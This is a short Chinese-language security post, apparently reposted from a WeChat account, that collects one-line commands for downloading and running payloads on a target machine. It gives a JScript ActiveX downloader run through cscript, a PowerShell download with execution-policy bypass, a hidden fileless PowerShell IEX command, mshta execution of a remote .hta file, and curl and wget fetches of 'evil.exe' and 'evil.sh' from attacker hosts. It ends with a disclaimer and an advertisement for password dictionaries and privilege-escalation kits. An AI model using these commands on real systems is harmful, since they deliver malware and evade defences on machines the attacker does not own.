js一句话下载payload
windows 全版本都会默认支持 js，并且通过cscript 来调用达到下载 payload 的目的。
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);WinHttpReq.Send();BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody);BinStream.SaveToFile("micropoor.exe");
C:test>cscript /nologo dowfile2.js http://192.168.1.1/eval.exe还有最简单的powershell
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:robots.txt')远程执行命令，且无文件落地：
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.1:1234/evil.txt'))"远程目标主机上执行以下命令实现下载执行操作，且无文件落地：
mshta http://192.168.174.1:1234/evil.htacurl
curl http://192.168.174.1:1234/evil.exe -o evil.exewget
wget http://192.168.174.1:1234/evil.sh扫码加好友拉你进交流群（请备注）
关注公众号，后台回复关键词获取安全相关资源：
【 1868 】 ：弱口令字典
【 6956 】 ：Windows提权工具包
【 1762 】 ：渗透辅助综合工具
【 2595 】 ：应急响应工具集
原文始发于微信公众号（菜鸟学安全）：一句话下载payload总结
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论